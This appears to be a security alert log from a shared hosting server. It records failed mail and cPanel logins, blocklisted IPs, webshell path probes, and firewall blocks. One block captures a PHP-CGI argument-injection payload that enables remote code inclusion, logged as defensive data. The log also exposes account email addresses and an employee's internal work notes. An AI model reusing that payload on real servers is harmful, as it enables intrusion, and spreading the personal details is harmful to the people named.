country_id: 1814991
description:
Jan 12 19:12:42 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 116.7.248.50 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.7.248.50
country_id: 1814991
description:
2026-01-12 19:12:44 dovecot_login authenticator failed for H=([116.7.248.50]) [116.7.248.50]:38874: 535 Incorrect authentication data (set_id=mohamad.haznil@manforce.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 2.55.100.104
country_id: 294640
description:
Jan 12 19:12:53 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 2.55.100.104 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.55.100.104
country_id: 294640
description:
2026-01-12 19:12:55 dovecot_login authenticator failed for H=(2-55-100-104.orange.net.il) [2.55.100.104]:57752: 535 Incorrect authentication data (set_id=mohamad.haznil)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 92.119.229.236
country_id: 6252001
domain: www.pspoly.com.my
description:
IM360 WAF: Bad file extension||RSV:7.62||T:APACHE||MVN:REQUEST_FILENAME||MV:/mysql.sql||User:pspolycom||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.104.36.154
country_id: 3865483
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/symfony/http-foundation/ParameterBag.php HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77625153
name: IM360 WAF:Object Injection in PHPMailer library in WordPress 3.7 to 5.7.1 (CVE-2020-36326)
abuser: 143.198.73.172
country_id: 6252001
domain: www.achieversvisionacademy.com
description:
IM360 WAF:Object Injection in PHPMailer library in WordPress 3.7 to 5.7.1 (CVE-2020-36326)||Action:||MV:\xadd cgi.force_redirect=0 \xadd cgi.redirect_status_env \xadd allow_url_include=1 \xadd auto_prepend_file=php://input||MVN:MATCHED_VAR||WPU:||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.233.95.192
country_id: 1269750
description:
2026-01-12 19:17:38 dovecot_plain authenticator failed for H=(58F1THHLM15) [103.233.95.192]:63473: 535 Incorrect authentication data (set_id=payment@tujusetia.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.242.97.97
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=980665 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.233.95.192
country_id: 1269750
description:
Jan 12 19:17:36 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.233.95.192 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 114.130.97.28
country_id: 1210997
domain: www.nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.nobledec.com/thumb.php?src=img/photos/7652559336.jpg&size=1000x1000 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-12 19:23:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58248: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.27.41
country_id: 798544
description:
Jan 12 19:23:50 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.27.41 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-12 19:23:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58249: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 185.193.74.145
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:19-25.185.193.74.145||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 155.186.190.33
country_id: 6252001
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/cheap/7/257/751110 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.85.107.170
country_id: 3469034
description:
Jan 12 19:28:05 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.85.107.170 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.87.243.132
country_id: 3175395
description:
Jan 12 19:27:56 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.87.243.132 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.87.243.132
country_id: 3175395
description:
Jan 12 19:28:09 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.87.243.132 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.85.107.170
country_id: 3469034
description:
Jan 12 19:28:13 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.85.107.170 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.162.99.230
country_id: 3077311
description:
Jan 12 19:28:37 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.162.99.230 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.106.141.216
country_id: 2963597
description:
Jan 12 19:35:29 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.106.141.216 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.237.58.14
country_id: 1269750
description:
Jan 12 19:35:48 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.237.58.14 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.137.160
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/images/home/about.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 161.142.118.86
country_id: 1733045
description:
[2026-01-12 19:37:11 +0800] info [webmaild] 161.142.118.86 - s-osada@mckd.com.my "POST /cpsess9860041447/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [113.211.111.0] != Current IP Address [161.142.118.86]


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/index.php/img/photos/press.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.119
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/malaysia-infinity-design-projects/img/photos/awards.php||SC:/home/indfinitydesign/public_html/malaysia-infinity-design-projects||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.147.101.187
country_id: 99237
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.my/index.php?route=product/search&tag=t010-0854 - rsc printed carton HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 12 19:43:28 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 12 19:48:00 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 54.185.229.187
country_id: 6252001
description:
[2026-01-12 19:47:59 +0800] info [webmaild] 54.185.229.187 - - "GET /modules HTTP/1.1" FAILED LOGIN webmaild: login attempt without username


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 44.246.196.150
country_id: 6252001
description:
[2026-01-12 19:48:55 +0800] info [cpaneld] 44.246.196.150 - - "GET /module HTTP/1.1" FAILED LOGIN cpaneld: login attempt without username


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 13.158.52.239
country_id: 1861060
description:
[2026-01-12 19:49:08 +0800] info [cpaneld] 13.158.52.239 - mkmetalc "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 54.185.229.187
country_id: 6252001
description:
[2026-01-12 19:48:23 +0800] info [webmaild] 54.185.229.187 - - "GET /module HTTP/1.1" FAILED LOGIN webmaild: login attempt without username


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 13.158.52.239
country_id: 1861060
description:
[2026-01-12 19:49:55 +0800] info [whostmgrd] 13.158.52.239 - mkmetalc "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 54.185.229.187
country_id: 6252001
description:
[2026-01-12 19:49:09 +0800] info [webmaild] 54.185.229.187 - - "GET /sites/all HTTP/1.1" FAILED LOGIN webmaild: login attempt without username


plugin: ossec
rule: 11004
name: Possible breaking attempt on cpanel service
abuser: 54.185.229.187
country_id: 6252001
description:
[2026-01-12 19:49:09 +0800] info [webmaild] 54.185.229.187 - - "GET /components HTTP/1.1" FAILED LOGIN webmaild: login attempt without username


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 44.246.196.150
country_id: 6252001
description:
[2026-01-12 19:49:15 +0800] info [cpaneld] 44.246.196.150 - - "GET /modules HTTP/1.1" FAILED LOGIN cpaneld: login attempt without username


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 44.246.196.150
country_id: 6252001
description:
[2026-01-12 19:50:36 +0800] info [cpaneld] 44.246.196.150 - - "GET /sites/all HTTP/1.1" FAILED LOGIN cpaneld: login attempt without username


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-12 19:51:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58264: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 11004
name: Possible breaking attempt on cpanel service
abuser: 54.185.229.187
country_id: 6252001
description:
[2026-01-12 19:50:25 +0800] info [webmaild] 54.185.229.187 - - "GET /415.shtml HTTP/1.1" FAILED LOGIN webmaild: login attempt without username


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 36.255.80.145
country_id: 1210997
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=515102 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-12 19:51:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58265: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.111
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/img/photos/img/photos/about.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 94.78.89.45
country_id: 298795
description:
Jan 12 19:53:06 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 94.78.89.45 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 83.143.28.170
country_id: 933860
description:
Jan 12 19:52:39 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 83.143.28.170 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.128.143
country_id: 3469034
description:
Jan 12 19:53:02 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.128.143 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.128.143
country_id: 3469034
description:
Jan 12 19:53:10 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.128.143 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 94.78.89.45
country_id: 298795
description:
Jan 12 19:53:13 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 94.78.89.45 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.137.83.45
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=900301 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 84.54.44.30
country_id: 2017370
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:19-54.84.54.44.30||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.28.190.251
country_id: 2510769
description:
Jan 12 19:55:49 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.28.190.251 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 209.50.167.68
country_id: 6252001
description:
[2026-01-12 19:57:58 +0800] info [webmaild] 209.50.167.68 - kitty.yap@manforce.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.111
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/home/about.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.192.106.240
country_id: 3469034
description:
Jan 12 19:59:41 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.192.106.240 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.111
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/malaysia-infinity-design-projects/commercial/img/photos/index.php||SC:/home/indfinitydesign/public_html/malaysia-infinity-design-projects||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/index.php/images/img/druma_photos/awards.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 216.26.228.13
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:20-02.216.26.228.13||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.172.106.11
country_id: 3351879
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-category.php?id=7&sub=42 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/index.php/component/tag/images/article.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.225.217.30
country_id: 3469034
description:
Jan 12 20:07:55 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.225.217.30 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.42.240
country_id: 953987
description:
Jan 12 20:07:21 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.42.240 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.225.217.30
country_id: 3469034
description:
Jan 12 20:08:10 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.225.217.30 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 152.237.176.240
country_id: 3469034
domain: geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/geminiflourmill.com/resize.php?h=263&img=img/product_photos/957330.jpg&w=263 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 99.33.32.59
country_id: 6252001
description:
Jan 12 20:10:50 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 99.33.32.59 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 99.33.32.59
country_id: 6252001
description:
2026-01-12 20:10:52 dovecot_plain authenticator failed for H=([10.181.117.174]) [99.33.32.59]:2331: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.216
country_id: 3469034
description:
Jan 12 20:11:16 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.216 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/index.php/images/commercial-new.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.4
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/img/druma_photos/article.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.219.189.166
country_id: 3469034
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/symfony/finder/Iterator/SizeRangeFilterIterator.php HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-12 20:19:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58294: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-12 20:19:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58295: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.111
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/img/photos/testimonial.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.4.81.106
country_id: 1562822
description:
2026-01-12 20:22:54 dovecot_login authenticator failed for H=([117.4.81.106]) [117.4.81.106]:45660: 535 Incorrect authentication data (set_id=support@kimmark.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.16.97.90
country_id: 3469034
description:
Jan 12 20:23:00 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.16.97.90 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.16.97.90
country_id: 3469034
description:
2026-01-12 20:23:02 dovecot_login authenticator failed for H=mvx-187-16-97-90.mundivox.com [187.16.97.90]:48954: 535 Incorrect authentication data (set_id=ahmad.asif@acburn.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 84.234.113.143
country_id: 798544
description:
Jan 12 20:23:59 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 84.234.113.143 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.16.97.90
country_id: 3469034
description:
Jan 12 20:24:37 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.16.97.90 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.16.97.90
country_id: 3469034
description:
2026-01-12 20:24:39 dovecot_login authenticator failed for H=mvx-187-16-97-90.mundivox.com [187.16.97.90]:55412: 535 Incorrect authentication data (set_id=wgoeqsscr@euratech.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 84.234.113.143
country_id: 798544
description:
Jan 12 20:24:12 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 84.234.113.143 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.250.159
country_id: 3865483
description:
Jan 12 20:27:15 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.250.159 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.119
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/img/press.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.240.37.49
country_id: 3469034
description:
Jan 12 20:27:39 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.240.37.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.25.140.211
country_id: 1814991
description:
Jan 12 20:28:33 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.25.140.211 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.25.140.211
country_id: 1814991
description:
2026-01-12 20:28:35 dovecot_login authenticator failed for H=([112.25.140.211]) [112.25.140.211]:45748: 535 Incorrect authentication data (set_id=ken@smartcable.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.45.175.212
country_id: 3469034
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.my/image/cache/catalog/Image/Products/Others/Plain RSC LxWxH-2-120x120.jpg HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 91.214.85.226
country_id: 690791
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-category.php?id=5&sub=29 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.12.187
country_id: 2300660
description:
Jan 12 20:36:58 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.12.187 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.76.56
country_id: 3469034
description:
Jan 12 20:37:32 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.76.56 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.12.187
country_id: 2300660
description:
Jan 12 20:37:12 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.12.187 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.37.227
country_id: 2300660
description:
Jan 12 20:38:59 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.37.227 has been locked due to Imunify RBL


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 103.66.223.144
country_id: 1694008
domain: dailyreport.tallahesse.com
description:
IM360 WAF: Possible XSS in arguments||MV:<ul>\r\n<li><span style=\"font-size: 17px;\">update of employee's daily attendance on email.</span></li>\r\n<li><span style=\"font-size: 17px;\">prepared cash vouchers - 18d &amp; cacc</span></li>\r\n<li><span style=\"font-size: 17px;\">online banking for both company.</span></li>\r\n<li><span style=\"font-size: 17px;\">prepared and sent approval of online banking to ms. love.</span></li>\r\n<li><span style=\"font-size: 17px;\">assisted employee for kami system.</span></li>\r\n<li><span style=\"font-size: 17px;\">provided some requested documents of diana for renewal of permits.</span><br><span style=\"font-size: 17px;\">send an employee lists to diana as requested.</span></li>\r\n<li><span style=\"font-size: 17px;\">communicate with applicant (helper), just have to confirm sched of interview probably by thursday (will ask availability of sir nell first.)</span></li>\r\n<li><span style=\"font-size: 17px;\">assisted ms. love for some bir related docs.</span></li>\r\n<li><span style=\"font-size: 17px;\">checking of status of job ad hiring (applicants are increasing, will just have to evaluate for interview).</span></li>\r\n<li><span style=\"font-size: 17px;\">discuss/explain of memo for drivers also for attendance (since kuya nhoy just arrive from vacation,).</span><br><!--/data/user/0/com.samsung.android.app.notes/files/clipdata/clipdata_bodytext_260112_203551_735.sdocx--></li>\r\n</ul>||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/images/druma/about.php||SC:/home/indfinitydesign/public_html/images/druma||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.236.172.244
country_id: 798544
description:
